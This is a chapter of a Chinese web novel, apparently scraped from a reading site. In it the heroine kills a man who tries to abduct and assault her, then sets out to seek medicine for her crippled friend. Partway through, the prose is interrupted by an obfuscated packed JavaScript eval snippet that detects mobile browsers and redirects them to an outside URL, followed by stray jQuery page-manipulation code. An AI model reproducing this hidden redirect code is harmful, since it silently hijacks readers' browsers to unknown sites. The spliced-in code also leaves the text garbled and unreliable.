59. 春梦残响2

作品:《我嘞个言出法随

    万凝离开忘乡台后,冷脸女人再没有出现。


    不知道是不是错觉,万凝觉得自己彻底摆脱了影子的控制,但她还是怕影族人不会放过自己,只能想方设法躲起来。


    她一路背着赵子婵行走在冰天雪地里,几经波折,来到了一个叫忘情宗的地方,宗主见她们落难,好心给予了她们安身之所。


    在宗门内,赵子婵的伤势依旧没能得到医治,好在不用再奔波颠簸,情况总算稍有缓和,而万凝服下解药后,溃烂的身躯重新长出血肉,只是人比以前瘦了很多,甚至有些脱相。


    她每日忙于宗门的各种杂务,从砍柴到打水,事事亲为,工作量是常人的两倍。


    即便如此,几名女弟子还是不喜欢她们,经常克扣她们的吃食,还把自己换下来的衣服塞给万凝去洗,长时间接触冰冷的河水,她的手上早就生出严重的冻疮。


    可无论受到怎样的对待,万凝都照单全收。


    那些欺负万凝的是一群年幼无知的丫头,并非十恶不赦,和她们闹翻容易,把她们哄好也容易,就看万凝怎么选。


    她若是因一时冲动失去了容身之所,自己带着重伤的赵子婵往后处境只会更难,当务之急是先治好赵子婵的伤,再作后续打算。


    ……


    “嫂子,赶紧把门关上啊,冷死了都……”刀疤男嚷嚷道,突然声势渐渐弱了下去,他眯了眯眼睛,上下打量着门外的万凝,舔了舔了嘴唇。


    “嫂子,门外那个是谁?”刀疤男着急问道。


    胖妇人随口道:“哦,送柴的丫头。”


    突然,刀疤男站起来,把胖妇人手里的钱抢过来,“嫂子,我去送,哥,我走了,你们慢慢玩吧。”


    胖妇人的丈夫显得有些不悦,道:“三缺一,这牌还怎么打?”


    “哥,下次再打吧,你今天可输了不少给我了呢。”刀疤男嘻嘻笑着便往屋外走。


    “嘎吱”一声,他把门关得严严实实。


    万凝从沉思中回过神来,看见从里面出来的是一个男人,便往旁边让了让。


    “怎么的?板着个脸好像不想搭理我似的,你的柴钱可在我这,还不少呢。”刀疤男一副地痞无赖的嘴脸,摊开掌心,露出一个沉甸甸的荷包。


    胖妇人付给万凝的柴钱并非现银现结,而是等满一月后才一并兑付。


    起初万凝有些犹豫,她本就图个现钱周转好给赵子婵买药,如今一旦赊欠,就又要拖上一阵子,可转念一想,往后柴薪便有了稳定销路,而且胖妇人说话爽快,给的价钱不低,万凝最终还是同意了。


    如今钱货两讫,万凝伸手去拿荷包,那刀疤男却趁机掐了一把她的屁股。


    万凝立刻一巴掌甩在刀疤男的脸上,“再碰我一下,我就砍了你的手!”


    刀疤男捂着脸,有些不满道:“瘦是瘦了点,但这张脸倒是还可以……在这站这么久,冷不冷啊?你缺钱的话,跟着爷多好。”


    “滚远点。”万凝转身就走。


    刀疤男顶了顶腮帮子,把钱塞进了自己的腰包里,一把揪住万凝的头发把她拽了回来,然后抡圆了胳膊,甩了她好几个巴掌,把人打得晕头转向,扛上了肩头,“天气这么冷,爷好好给你暖暖身子。”


    胖妇人听到声响,追出来叫道:“造孽啊,他这是要干什么啊?”


    她的丈夫皱着眉头道:“她是生是死跟我们有什么关系,你记着,我们从未见过她,也没有买过她的柴。”


    ……


    刀疤男火急火燎地扛着万凝,颠簸中,一阵刺骨的寒风吹醒了万凝。


    她睁开眼睛,环顾四周,随即拔下了腰间的斧子,举高之后,对着刀疤男的后背猛力砍去!


    她砍了好几个月的柴,手臂力量不弱,这一斧子下去,是为了活命,更是力道十足。


    “啊!”刀疤男嚎叫着。


    万凝想将斧子抽出,但斧子却卡在了刀疤男骨头里,她攥着斧柄又猛拽了几下,突然身子一歪,整个人从男人肩头摔了下去吃了一嘴泥泞的雪。


    可她不敢耽搁,迅速爬起来,再次举起斧子,眼神坚定而愤怒,对着刀疤男道:“我警告过你,你再敢碰我,我就砍断你的手!”


    刀疤男面露惊恐,连忙后退,结结巴巴地说:“不,不碰了!”


    万凝紧闭双眼,又是一斧子砍了下去。


    刀疤男死了。


    这是万凝第一次杀人,她的心脏不受控制地乱跳,一时间呆愣在原地。


    突然,有人喊道:“什么人在那?!”


    万凝浑身一抖,从刀疤男身上拿回自己的荷包,把斧头抱在怀里,惊慌失措地逃离巷子。


    在没人的山上,她把斧头插进雪里洗了又洗,试图洗去上面的血迹,但那痕迹却仿佛永远也洗不净。


    ……


    忘情宗。


    “她怎么这个样子?”


    “你没瞧见吗?她身上都是血。”


    “好吓人。”


    不远处,几名女弟子窃窃私语,万凝听到动静,下意识想掩盖身上的血迹,可依旧是漏洞百出。


    她单手撑着额头,无力地想刀疤男死后,若有人向当地族群首领通报,必然查到至自己身上,以防万一,得赶紧带阿婵离开了。


    “那个,万凝,你还好吗?”


    万凝吓了一跳,“啊?何事?”


    来人是忘情宗大师姐,她微微一笑,“我喊你好几声了,宗主有请。”


    “好的,我知道了。”


    ……


    万凝步入明心堂,规规矩矩道:“宗主,有何吩咐?”


    宗主端坐上首,披着白色大氅,清清冷冷,唯一的装饰便是头上的乌簪,样式十分简单,即便如此,依旧让人觉得气质脱俗。


    宗主关心道:“阿婵的伤势好像没什么起色。”


    万凝惊讶道:“宗主已经前去探望过了?”


    万凝平日里很少见宗主,同样,宗主忙于宗门事务,也很少来看她们,难不成是发生了什么事?


    “嗯。”宗主指出问题,“你的治疗方式纵然能使她的伤口愈合,但往后绝对没法再下地行走。”


    万凝无力道:“我知道,但我目前也没有好的办法,我去镇上的药铺问过,他们都告诉我,如今诸多药材稀缺难觅,只能等寒冬过去。”


    宗主皱了皱眉,道:“只怕短时间内,你是等不到了。”


    万凝听后,心头一震。


    她深知今年的寒冬比往年更漫长。


    但阿婵身上的伤不能这么拖下去。


    宗主又道:“不过,木族如今包揽了整个大陆的粮食与药材生意。”


    万凝眼睛一亮,“既然木族手中握有这些资源,那我便去一趟木族。”


    宗主平静地看着万凝,“阿婵对你来说,是非常重要的人吗?值得你如此拼命?”


    万凝坚定道:“阿婵虽非我的血亲,却可以以命相托。”


    宗主叹了一口气,“你过来。”


    万凝走了过去。


    宗主从发间拔下乌簪,递给万凝,“带着它直接去找木族的首领,向他讨要一粒无缺仁。”


    万凝小心翼翼接过簪子,“无缺仁?”


    她还从未听过这名字。


    宗主解释道:“历代木族首领在继承木族苞珠力量后,能借助苞珠结出不同续命神药,其中现任木族首领木无缺便能够结出无缺仁,总之,此物是救你朋友性命的关键。”


    “多谢宗主提点!”万凝正为赵子婵终于有救而满心欢喜,突然面露迟疑,担忧道,“若是我走了,阿婵她……”


    宗主道:“我会让人替你照顾好她。”


    ……


    万凝离开明心堂后,算了算日子。


    最好还是明日就出发前往木族吧,也能避避风头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978942|190407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天色渐晚,万凝带着一只麻袋来到忘情宗外的山林里,刺骨的寒风呼啸着,她裹紧单薄的衣裳快跑到一个背风小坡,手早冻得不听使唤了,她却跪在雪地里,扒开积雪,拨开粘着冰碴的枯叶,直到地面露出个洞,里面存放着她全部家当。


    有通过布置陷阱意外抓获的野兔、从松鼠窝里掏来够吃十多天的果实,以及她在集镇居民手里换来的野菜、地瓜、面食、鸡蛋等物,数量不多,但品类丰富,因为天冷,全都冻得像石头。


    而她同样在洞口附近布下陷阱,想着若有其它动物靠近这里,没准就能捉住它们添点储备,可这天太冷了,能捕到一只野兔已属侥幸,而没弄丢这些辛苦积攒下来的家当,更是万幸。


    万凝将所有东西塞进麻袋里,掩人耳目回到了忘情宗她和赵子婵的住所。


    门轴发出轻微的吱呀声,床上的赵子婵听到动静,转过头唠叨起来,她太无聊了,能说话的人只有万凝了。


    “阿凝,你不知道,今天那几个坏丫头污蔑你偷了厨房的东西,我一听就来气,当场跟她们吵了起来,她们吵不过我就去把宗主叫来了。”


    万凝惊讶,“然后呢?”


    “还好宗主是个明事理的,没偏向她们,还主动问了我身上的伤如何了……”


    “宗主人挺不错的。”万凝感叹道,从麻袋里面取出各种食材。


    赵子婵身子虽然不能动,但她扭头看见万凝拎出一整只处理好的兔子,吓了一跳,“阿凝,你这吃的都哪来的,不会是从厨房……”


    “嘘。”万凝示意小点声。


    赵子婵立刻压低了声音,“阿凝,你就算真的拿了又能怎么样?这都是她们该给你的,你每天干了那么多活,洗那么多衣裳,她们抠抠搜搜的,连个冷的馒头都不肯多给一个,我早就受够他们,等我好了,咱们就走。”


    万凝一边听赵子婵抗议,一边将锅子加热,放入香料与草药,“不是从厨房拿的,你放心吧。”


    锅里的汤水开始咕噜咕噜地冒泡,万凝把食材切好下锅,冒出的热气把屋子都熏得暖哄哄的。


    待食材煮得软烂,她盛出一碗端到床边,唇瓣凑在勺沿吹了两下,送到赵子婵嘴边,“尝尝我的手艺怎么样?”


    赵子婵看着万凝却不肯吃。


    “怎么了,躺着不舒服了?”


    “不是。”赵子婵突然红了眼眶,抬起自己的手臂,在万凝脸颊处停留,“你的脸怎么肿了,谁打你了,我帮你打回去……”


    万凝把赵子婵的手塞进被子里,“我没吃亏。”


    赵子婵心疼道:“真要吃亏了那得什么样。”


    如今兵荒马乱,遇上什么事都不稀奇,万凝能活着回来肯定很不容易,赵子婵实在看不得她这么拼命,“阿凝,我知道我再也走不了了,我已经是个没用的废人了……你若丢下我,我绝不怨你,还要谢你当初肯救我性命。”


    万凝听完,心中五味杂陈,“那日在忘乡台,陨石是奔着我来的,如果不是有你把我推开,我早就被砸得半死不活了,哪还能站在这里说话?”


    “你对我这样好,我自然也要对你好回去,又怎么会抛下你不管?放心吧,我已经知道该怎么治好你了。”


    赵子婵摇了摇头,“我如今这副模样,怎么可能治得好?”


    万凝认真道:“相信我,我既已救过你一次,便有办法救你第二次。”


    “真的吗?”赵子婵是经验丰富的驯兽师,深谙如何用鞭子与蜜糖,让野兽保持驯顺。此刻所有别扭违心的话,无非是因害怕被丢下,才一遍遍确认万凝对自己的在意程度。


    “当然。来,快吃吧,冷了就不好吃了。”万凝柔声哄着。


    赵子婵听话地吃了一口,随即又推了推碗,“阿凝,你也吃,你现在太瘦了,得好好补补。”


    “我稍后便吃。”万凝擦了擦赵子婵的嘴,笑起来的样子像救星降临。